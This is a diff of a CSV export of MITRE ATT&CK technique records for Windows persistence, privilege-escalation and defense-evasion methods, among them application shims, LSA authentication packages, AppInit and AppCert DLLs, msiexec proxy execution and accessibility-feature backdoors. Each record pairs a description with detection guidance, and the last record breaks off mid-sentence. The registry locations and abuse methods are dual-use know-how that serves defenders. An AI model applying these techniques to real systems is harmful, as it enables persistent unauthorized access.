url='https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/')]",attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:39:00.717000+00:00,Odbcconf,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",,,,Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.,,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-24 14:56:24.231000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/008', 'external_id': 'T1218.008'}, {'source_name': 'Microsoft odbcconf.exe', 'description': 'Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.', 'url': 'https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017'}, {'source_name': 'LOLBAS Odbcconf', 'description': 'LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/'}, {'source_name': 'TrendMicro Squiblydoo Aug 2017', 'description': 'Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/'}, {'source_name': 'TrendMicro Cobalt Group Nov 2017', 'description': 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.,True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:56:24.231Z,2020-11-10T18:29:31.094Z,Application Shimming,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. @@ -2071,7 +2282,7 @@ Custom databases are stored in: To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). -Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/011', external_id='T1546.011'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='FireEye Application Shimming', description='Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.', url='http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf'), ExternalReference(source_name='Black Hat 2015 App Shim', description='Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.', url='https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf')]",attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-11-10 18:29:31.094000+00:00,Application Shimming,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load', 'File: File Modification']",,,,,"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): +Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/011', 'external_id': 'T1546.011'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'FireEye Application Shimming', 'description': 'Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.', 'url': 'http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf'}, {'source_name': 'Black Hat 2015 App Shim', 'description': 'Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.', 'url': 'https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load', 'File: File Modification']",,"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): * Shim-Process-Scanner - checks memory of every running process for any shim flags * Shim-Detector-Lite - detects installation of custom shim databases @@ -2079,30 +2290,30 @@ Utilizing these shims may allow an adversary to perform several malicious acts s * ShimScanner - forensic tool to find active shims in memory * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) -Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",,,,,True,,,['Administrator'],['Windows'],,,,1.0 -2020-01-24 14:54:42.757000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages) +Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",True,['Administrator'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:54:42.757Z,2020-03-25T15:11:25.821Z,Authentication Package,"Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages) -Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of ""Authentication Packages""=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/002', external_id='T1547.002'), ExternalReference(source_name='MSDN Authentication Packages', description='Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx'), ExternalReference(source_name='Graeber 2014', description='Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', url='http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'), ExternalReference(source_name='Microsoft Configure LSA', description='Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.', url='https://technet.microsoft.com/en-us/library/dn408187.aspx')]",attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-25 15:11:25.821000+00:00,Authentication Package,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,,,,Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA),,,,,True,,,['Administrator'],['Windows'],,,,1.0 -2020-01-24 14:52:25.589000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) +Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of ""Authentication Packages""=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/002', 'external_id': 'T1547.002'}, {'source_name': 'MSDN Authentication Packages', 'description': 'Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx'}, {'source_name': 'Graeber 2014', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'}, {'source_name': 'Microsoft Configure LSA', 'description': 'Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/dn408187.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA),True,['Administrator'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:52:25.589Z,2020-11-10T18:29:31.076Z,AppInit DLLs,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. -The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/010', external_id='T1546.010'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='AppInit Registry', description='Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.', url='https://support.microsoft.com/en-us/kb/197571'), ExternalReference(source_name='AppInit Secure Boot', description='Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.', url='https://msdn.microsoft.com/en-us/library/dn280412'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-11-10 18:29:31.076000+00:00,AppInit DLLs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,,,,"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) +The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/010', 'external_id': 'T1546.010'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'AppInit Registry', 'description': 'Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.', 'url': 'https://support.microsoft.com/en-us/kb/197571'}, {'source_name': 'AppInit Secure Boot', 'description': 'Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.', 'url': 'https://msdn.microsoft.com/en-us/library/dn280412'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) -Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",,,"['Administrator', 'SYSTEM']",,True,,,['Administrator'],['Windows'],,['Secure boot disabled on systems running Windows 8 and later'],,1.0 -2020-01-24 14:47:41.795000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017) +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",True,['Administrator'],['Windows'],1.0,,['Secure boot disabled on systems running Windows 8 and later'],,"['Administrator', 'SYSTEM']",,, +attack-pattern,attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:47:41.795Z,2020-11-10T18:29:31.052Z,AppCert DLLs,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017) -Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/009', external_id='T1546.009'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902'), ExternalReference(source_name='Sysinternals AppCertDlls Oct 2007', description='Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.', url='https://forum.sysinternals.com/appcertdlls_topic12546.html')]",attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-11-10 18:29:31.052000+00:00,AppCert DLLs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,,,,"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) +Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/009', 'external_id': 'T1546.009'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}, {'source_name': 'Sysinternals AppCertDlls Oct 2007', 'description': 'Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.', 'url': 'https://forum.sysinternals.com/appcertdlls_topic12546.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) -Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",,,"['Administrator', 'SYSTEM']",,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2020-01-24 14:38:49.266000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft. +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",True,"['Administrator', 'SYSTEM']",['Windows'],1.0,,,,"['Administrator', 'SYSTEM']",,, +attack-pattern,attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:38:49.266Z,2021-06-07T19:57:26.824Z,Msiexec,"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft. -Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/007', external_id='T1218.007'), ExternalReference(source_name='Microsoft msiexec', description='Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.', url='https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec'), ExternalReference(source_name='LOLBAS Msiexec', description='LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Msiexec/'), ExternalReference(source_name='TrendMicro Msiexec Feb 2018', description='Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/'), ExternalReference(source_name='Microsoft AlwaysInstallElevated 2018', description='Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.', url='https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated')]",attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-12-14 18:40:45.170000+00:00,Msiexec,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Alexandros Pappas'],"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Digital Certificate Validation', 'Application control']",,,,Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.,,,,,True,,,['User'],['Windows'],,,,1.1 -2020-01-24 14:32:40.315000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. +Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/007', 'external_id': 'T1218.007'}, {'source_name': 'Microsoft msiexec', 'description': 'Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec'}, {'source_name': 'LOLBAS Msiexec', 'description': 'LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Msiexec/'}, {'source_name': 'TrendMicro Msiexec Feb 2018', 'description': 'Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/'}, {'source_name': 'Microsoft AlwaysInstallElevated 2018', 'description': 'Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ziv Kaspersky, Cymptom', 'Alexandros Pappas']","['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Digital Certificate Validation', 'Application control']",Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.,True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T14:32:40.315Z,2020-05-13T20:37:30.048Z,Accessibility Features,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The 